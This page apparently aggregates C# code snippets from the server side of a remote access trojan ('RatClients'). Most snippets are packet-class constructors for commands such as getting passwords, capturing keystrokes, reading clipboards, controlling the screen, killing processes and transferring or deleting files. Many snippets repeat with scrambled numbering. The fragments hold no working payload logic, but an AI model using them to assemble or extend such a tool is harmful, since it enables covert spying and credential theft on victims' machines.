public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index)
     : base(client)
 {
     this.info = info;
     this.bytes = bytes;
     this.Index = Index;
 }
Beispiel #2
0
 public ReceiveBasePacket(RatClients client, byte[] packet)
 {
     _Client = client;
     _Packet = packet;
     _Offset = 1;
     Read();
 }
Beispiel #3
0
 public S_ProcessModThread(RatClients client, int PID, int ID, byte type)
     : base(client)
 {
     this.PID  = PID;
     this.ID   = ID;
     this.type = type;
 }
Beispiel #4
0
 public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile)
     : base(client)
 {
     this.PID = PID;
     this.Force = Force;
     this.DeleteFile = DeleteFile;
 }
 public S_KillProcess(RatClients client, int PID, byte Force, byte DeleteFile)
     : base(client)
 {
     this.PID        = PID;
     this.Force      = Force;
     this.DeleteFile = DeleteFile;
 }
Beispiel #6
0
 public S_FileTransferSend(RatClients client, FileTransfer info, byte[] bytes, int Index)
     : base(client)
 {
     this.info  = info;
     this.bytes = bytes;
     this.Index = Index;
 }
 public S_ProcessModThread(RatClients client, int PID, int ID, byte type)
     : base(client)
 {
     this.PID = PID;
     this.ID = ID;
     this.type = type;
 }
Beispiel #8
0
 public ReceiveBasePacket(RatClients client, byte[] packet)
 {
     _Client = client;
     _Packet = packet;
     _Offset = 1;
     Read();
 }
Beispiel #9
0
        public S_MessageBox(RatClients client, string message, string title, MessageBoxButtons buttons, MessageBoxIcon icon)
            : base(client)
        {
            _message = message;
            _title = title;

            switch (buttons)
            {
                case MessageBoxButtons.AbortRetryIgnore:
                    _button = 0;
                    break;
                case MessageBoxButtons.OK:
                    _button = 1;
                    break;
                case MessageBoxButtons.OKCancel:
                    _button = 2;
                    break;
                case MessageBoxButtons.RetryCancel:
                    _button = 3;
                    break;
                case MessageBoxButtons.YesNo:
                    _button = 4;
                    break;
                case MessageBoxButtons.YesNoCancel:
                    _button = 5;
                    break;
            }

            if (icon == MessageBoxIcon.Asterisk)
                _icon = 0;
            if (icon == MessageBoxIcon.Error)
                _icon = 1;
            if (icon == MessageBoxIcon.Exclamation)
                _icon = 2;
            if (icon == MessageBoxIcon.Hand)
                _icon = 3;
            if (icon == MessageBoxIcon.Information)
                _icon = 4;
            if (icon == MessageBoxIcon.None)
                _icon = 5;
            if (icon == MessageBoxIcon.Question)
                _icon = 6;
            if (icon == MessageBoxIcon.Stop)
                _icon = 7;
            if (icon == MessageBoxIcon.Warning)
                _icon = 8;
        }
Beispiel #10
0
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int ID = _clientList.Count;
                RatClients c = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }
Beispiel #11
0
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int        ID = _clientList.Count;
                RatClients c  = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID         = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }
 public S_GetProcessThreads(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Beispiel #13
0
 public R_GetProcesses(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #14
0
 public S_ResumeProcess(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Beispiel #15
0
 public S_FileMgrGetDrives(RatClients client)
     : base(client)
 {
 }
Beispiel #16
0
 public S_CursorPosition(RatClients client, int x, int y)
     : base(client)
 {
     this.x = x;
     this.y = y;
 }
 public R_GetProcessThreads(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #18
0
 public S_FileMgrGetFiles(RatClients client, string DirLocation)
     : base(client)
 {
     this.DirLocation = DirLocation;
 }
Beispiel #19
0
 public SendBasePacket(RatClients client)
 {
     vStream = new MemoryStream();
     vClient = client;
 }
Beispiel #20
0
 public SendBasePacket(RatClients client)
 {
     vStream = new MemoryStream();
     vClient = client;
 }
Beispiel #21
0
 public R_GetClipboard(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #22
0
 public S_GetProcessThreads(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
 public S_GetProcesses(RatClients client)
     : base(client)
 {
 }
Beispiel #24
0
 public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
     this.NewFileLocation = NewFileLocation;
 }
Beispiel #25
0
 public S_GetPasswords(RatClients client)
     : base(client)
 {
 }
Beispiel #26
0
        public S_GetClipboard(RatClients client)
                : base(client)
            {

            }
Beispiel #27
0
 public R_NewClient(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #28
0
 public S_GetPasswords(RatClients client)
     : base(client)
 {
 }
Beispiel #29
0
 //This method is called by any client when its disconnected, this is done through a delegate thats set.
 private void OnDisconnect(RatClients client)
 {
     _clientList.Remove(client.ClientID);
 }
Beispiel #30
0
 public S_SetWallpaper(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
 public S_FileTransferSendComplete(RatClients client, FileTransfer info)
     : base(client)
 {
     this.info = info;
 }
Beispiel #32
0
 public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type)
     : base(client)
 {
     this.info = info;
     this.type = type;
 }
Beispiel #33
0
 public S_SetClipboard(RatClients client, string data)
     : base(client)
 {
     this.data = data;
 }
Beispiel #34
0
 public R_FileMgrGetFiles(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #35
0
 public S_GetClipboard(RatClients client)
     : base(client)
 {
 }
 public S_CopyFile(RatClients client, string FileLocation, string NewFileLocation)
     : base(client)
 {
     this.FileLocation    = FileLocation;
     this.NewFileLocation = NewFileLocation;
 }
 public S_FileTransferSendBegin(RatClients client, FileTransfer info, SendType type)
     : base(client)
 {
     this.info = info;
     this.type = type;
 }
 public S_FileTransferSendComplete(RatClients client, FileTransfer info)
     : base(client)
 {
     this.info = info;
 }
Beispiel #39
0
 public R_KeyStrokes(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #40
0
 //This method is called by any client when its disconnected, this is done through a delegate thats set.
 private void OnDisconnect(RatClients client)
 {
     _clientList.Remove(client.ClientID);
 }
Beispiel #41
0
 public S_SetWallpaper(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
 public R_FileTransferBegin(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #43
0
 public S_GetProcessesDLLs(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Beispiel #44
0
 public S_DeleteFile(RatClients client, string FileLocation)
     : base(client)
 {
     this.FileLocation = FileLocation;
 }
 public S_CursorPosition(RatClients client, int x, int y)
     : base(client)
 {
     this.x = x;
     this.y = y;
 }
 public S_ProcessWindowText(RatClients client, int PID, string text)
     : base(client)
 {
     this.PID = PID;
     this.WindowText = text;
 }
 public R_FileMgrDrives(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public S_RemoteControlScreen(RatClients client, byte enable)
     : base(client)
 {
     this.enable = enable;
 }
Beispiel #49
0
 public R_KeyStrokes(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public R_FileTransferSend(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public S_GetProcessesDLLs(RatClients client, int PID)
     : base(client)
 {
     this.PID = PID;
 }
Beispiel #52
0
 public S_CreateFile(RatClients client, string FileLocation, string FileName)
     : base(client)
 {
     this.FileLocation = FileLocation;
     this.FileName = FileName;
 }
 public R_RemoteIP(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #54
0
 public R_GetClipboard(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
Beispiel #55
0
 public S_SetClipboard(RatClients client, string data)
     : base(client)
 {
     this.data = data;
 }
Beispiel #56
0
 public S_FileMgrGetDrives(RatClients client)
     : base(client)
 {
 }
Beispiel #57
0
 public S_FileMgrGetFiles(RatClients client, string DirLocation)
     : base(client)
 {
     this.DirLocation = DirLocation;
 }
Beispiel #58
0
 public S_GetKeyStrokes(RatClients client)
     : base(client)
 {
 }
Beispiel #59
0
 public R_NewClient(RatClients client, byte[] packet)
     : base(client, packet)
 {
 }
 public S_GetCpuInfo(RatClients client)
     : base(client)
 {
 }